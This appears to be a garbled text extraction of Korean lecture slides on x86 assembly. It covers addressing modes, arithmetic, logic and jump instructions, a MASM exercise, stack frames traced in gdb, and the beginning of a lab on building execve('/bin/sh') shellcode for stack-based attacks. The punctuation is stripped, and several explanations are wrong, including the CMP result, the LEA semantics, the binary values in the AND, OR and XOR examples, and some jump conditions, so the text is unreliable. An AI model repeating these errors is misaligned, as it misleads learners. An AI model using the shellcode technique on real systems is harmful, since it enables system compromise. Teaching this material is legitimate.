인덱스 주소 지정 레지스터 간접 지정 방식에 변위가 더해진 메모리 주소 지정 방식 ( 예 )20h 만큼 더해 메모리를 참조한 명령

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+20h] MOV AL [BP+20h]

MOV AL 20h[BX] MOV AL 20h[BP]

28108

베이스 인덱스 주소 지정 실제 주소 생성 위해 베이스 레지스터 (BX 또는 BP) 와

인덱스 레지스터 (DI 또는 SI) 를 결합

2 차원 배열의 주소 지정에 사용

다음과 같이 바꿔서 표현 할 수 있다

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI] MOV AL [BP+SI]

MOV AL [BX][SI] MOV AL [BP][SI]

29108

변위를 갖는 베이스 인덱스 주소 지정 베이스 - 인덱스의 변형으로 실제 주소 생성 위해

베이스 레지스터 인덱스 레지스터 변위 결합

어셈블리어의 기본 문법과 명령

MOV AL [BX+SI+20h] MOV AL [BP+SI+20h]

30108

어셈블리어의 기본 명령 산술 연산 명령 기본적인 정수 계산

bull ADD(Add) 제 1 피연산자와 제 2 피연산자 값을 더한 결과 값을 제 1 피 연산자에 저장

bull SUB(Subtract) 제 1 피연산자에서 제 2 피연산자 값을 뺀 결과 값을 제 1 피연산자에 저장

bull CMP(Compare) 데이터의 두 값 비교 시 사용 lsquocmp a brsquo 의 경우 a 에서 b 를 뺀 값이0 이면 참

어셈블리어의 기본 문법과 명령

형식ADD [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

ADD AL 4

AL 이 원래 3이었다면 명령 실행 후 AL은 7이 된다

형식SUB [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

SUB AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

형식CMP [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용예

CMP AL 4

AL 이 원래 7이었다면 명령 실행 후 AL은 3이 된다

31108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

ADC Add with Carry 캐리를 포함한 덧셈을 수행한다

SBB Subtraction with borrow 캐리를 포함한 뺄셈을 수행한다

DEC Decrement 피연산자 내용을 하나 감소시킨다

NEG Change Sign 피연산자의 2 의 보수 즉 부호를 반전한다

INC Increment 피연산자 내용을 하나 증가시킨다

AAA ASCII adjust for add덧셈 결과의 AL 값을 UNPACK 10진수로 보정한다

DAA Decimal adjust for add 덧셈 결과의 AL 값을 PACK 10진수로 보정한다

AAS ASCII adjust for subtract뺄셈 결과의 AL 값을 UNPACK 10진수로 보정한다

32108

어셈블리어의 기본 명령 기타 산술 연산 명령 [ 표 2-7] 기타 산술 연산 명령

어셈블리어의 기본 문법과 명령

명령 설명

DAS Decimal adjust for subtract 뺄셈 결과의 AL 값을 PACK 10진수로 보정한다

MUL Multiply(Unsigned) AX 와 피연산자의 곱셈 결과를 AX 또는 DXAX 에 저장한다

IMUL Integer Multiply(Signed) 부호화된 곱셈을 수행한다

AAM ASCII adjust for Multiply 곱셈 결과의 AX 값을 UNPACK 10진수로 보정한다

DIV Divide(Unsigned)AX 또는 DXAX 내용을 피연산자로 나눈다

몫은 AL 또는 AX 에 저장하고 나머지는 AH 또는 DX 에 저장한다

IDIV Integer Divide(Signed) 부호화된 나눗셈

AAD ASCII adjust for Divide 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다

CBW Convert byte to word AL 의 바이트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다

CWDConvert word to double word

AX 의 워드 데이터를 부호를 포함하여 DXAX 의 더블 워드로 변환한다

33108

어셈블리어의 기본 명령 데이터 전송 명령 메모리 범용 레지스터 세그먼트 레지스터로 참조되는 주소에

존재하는 데이터 전송

bull MOV(Move) 데이터 이동할 때 사용

BP 의 현재 값이 0x10000004 라면 BP+8은 0x1000000C

0x1000000C 에 있는 값이 1024므로 AX 에는 1024 가 입력

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2피연산자 ]

사용 예

MOV AX [BP+8]

BP 의 주소에 8 더해진 주소에 있는 데이터

값을 AX 에 대입한다

34108

어셈블리어의 기본 명령 PUSH(Push) 스택에 데이터를 삽입할 때 사용

[ 그림 2-19] 와 같이 스택은 커지고 스택 포인터 (Stack Pointer)는

데이터 크기만큼 감소

어셈블리어의 기본 문법과 명령

35108

어셈블리어의 기본 명령 POP(Pop) 스택에서 데이터 삭제할 때 사용 스택에서 삭제된 명령은 반환 값으로

받아 사용 가능 [ 그림 2-20] 과 같이 스택 포인터는 삭제하는 데이터

크기만큼 증가

어셈블리어의 기본 문법과 명령

36108

어셈블리어의 기본 명령 LEA(Load effective address to register) 데이터의 값 이동할 때 사용

MOV 명령과 LEA 명령에서 제 1 피연산자는 데이터 이동 공통 제 2 피연산자에 대 한

추가 연산의 처리 방식은 다르다

제 2 피연산자에lsquo BP+4rsquo 가 있을 경우 MOV 명령은 lsquo BP+4rsquo 를 하나의 주소 값으로처리

LEA 명령은 lsquo BPrsquo 만 주소 값으로 인식 lsquo +4rsquo 는 BP 주소 값에 대한 추가 연산으로 처리

어셈블리어의 기본 문법과 명령

형식 MOV [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

LEA AX [BP+4]

BP 의 현재 값이 0times10000004 라면 MOV 명령

처럼 BP+4 인 0times10000008 의 주소 값을 가져

오는 것이 아니라 0times10000004 의 주소에 있

는 값에 4 를 더해 AX 에 대입한다 ([ 그림 2-21] 참고 )

37108

어셈블리어의 기본 명령 기타 데이터 전송 명령 [ 표 2-8] 기타 데이터 전송 명령

어셈블리어의 기본 문법과 명령

명령 설명

XCHGExchange Register

Memory with Register

첫 번째 피연산자와 두 번째 피연산자를 바꾼다

INInput from AL AX to Fixed port

피연산자로 지시된 포트로 AX 에 데이터를 입력한다

OUTOutput from ALAX to Fixed port

피연산자가 지시한 포트로 AX 의 데이터를 출력한다

XLATTranslate byte to AL

BXAL 이 지시한 테이블의 내용을 AL 로 로드한다

LDS Load Pointer to DSLEA 명령과 유사한 방식으로 다른 DS 데이터의 주소의 내용을 참조 시

사용한다

LES Load Pointer to ESLEA 명령과 유사한 방식으로 다른 ES 데이터의 주소의 내용을 참조 시

사용한다

LAHF Load AH with Flags 플래그의 내용을 AH 의 특정 비트로 로드한다

SAHF Store AH into Flags AH 의 특정 비트를 플래그 레지스터로 전송한다

PUSHF Push Flags 플래그 레지스터의 내용을 스택에 삽입한다

POPF Pop Flags 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다

38108

어셈블리어의 기본 명령 논리 명령 연산부호가 논리연산을 지정하는 명령으로 자리옮김 논리 합 (OR)

논리곱 (AND) 기호 변환 등이 있다bull AND(And) 대응되는 비트가 둘 다 1 일 때만 결과가 1 이고 그 이외는 모두 0

어셈블리어의 기본 문법과 명령

형식 AND [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

AND AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1000이 된다

AX 1 0 0 0

0times10h 1 0 1 0

AND 연산 결과 1 0 0 0

39108

어셈블리어의 기본 명령

bull OR(Or) 대응되는 비트 중 하나만 1 이어도 결과가 1 이고 둘 다 0 인 경우에만 0

어셈블리어의 기본 문법과 명령

형식 OR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

OR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 1010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 1 0 1 0

40108

어셈블리어의 기본 명령

bull XOR(Exclusive Or) 대응되는 비트 중에서 한 비트가 1 이고 다른 비트가 0 이면 1 두 개의

비트가 모두 0 또는 1 일 때 0

어셈블리어의 기본 문법과 명령

형식 XOR [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

XOR AX 10h

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

0x10h 는 1010 이므로 명령을 수행한 뒤에 AX 값은 0010이 된다

AX 1 0 0 0

0times10h 1 0 1 0

OR 연산 결과 0 0 1 0

41108

어셈블리어의 기본 명령

bull NOT(Invert) 피연산자의 1 의 보수를 구하는 작동 코드로 각 비트를 반전

어셈블리어의 기본 문법과 명령

형식 NOT [ 제 1 피연산자 ]

사용 예

NOT AX

AX 값이 0x08h 라면 이를 이진수로 표현하면 1000 이 된다

명령을 수행한 뒤에 AX 값은 0111 이 된다

AX 1 0 0 0

NOT 연산 결과 0 1 1 1

42108

어셈블리어의 기본 명령

bull Test(And function to flags no result) 데이터의 두 값 비교할 때 사용 데이터의 변경 없이 단순 비교

어셈블리어의 기본 문법과 명령

형식 TEST [ 제 1 피연산자 ] [ 제 2 피연산자 ]

사용 예

TEST AL 00001001b

AL 레지스터에 비트 0 과 비트 3 이 둘 다 0 인지 확인하고 싶으면

제 2 피연산자에 비트 0( 오른쪽의 첫 번째 비트 ) 과 비트 3(오른쪽부

터 네 번째 비트 ) 에 1 을 적어주고 나머지에는 0 을 적어준 후 TEST

명령을 실행한다 AL 의 비트 0 과 비트 3 이 모두 0 이라면 ZF(Zero

Flag) 가 세트된다 비트 0 와 비트 3 중 하나라도 1 이면 ZF는 클리

어된다 AX 가 0x08h 라면 비트 3 이 1 이므로 ZF 는 클리어된다

AL 1 0 0 0

00001001b 1 0 0 1

43108

어셈블리어의 기본 명령

bull 기타 논리 명령 데이터의 두 값을 비교할 때 사용 데이터의 변경 없이 단순 비교bull [ 표 2-9] 기타 논리 명령

어셈블리어의 기본 문법과 명령

명령 설명

SHL SAL

Shift Leftarithmetic Left 왼쪽으로 피연산자만큼 자리 이동

SHR SARShift Right Shift arithmetic Right

오른쪽으로 피연산자만큼 자리 이동

ROL Rotate Left 왼쪽으로 피연산자만큼 회전 이동

ROR Rotate Right 오른쪽으로 피연산자만큼 회전 이동

RCL Rotate through carry left자리올림 (Carry) 을 포함하여 왼쪽으로 피연산자만큼 회전 이동

RCR Rotate through carry Right자리올림 (Carry) 을 포함하여 오른쪽으로 연산자

만큼 회전이동

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

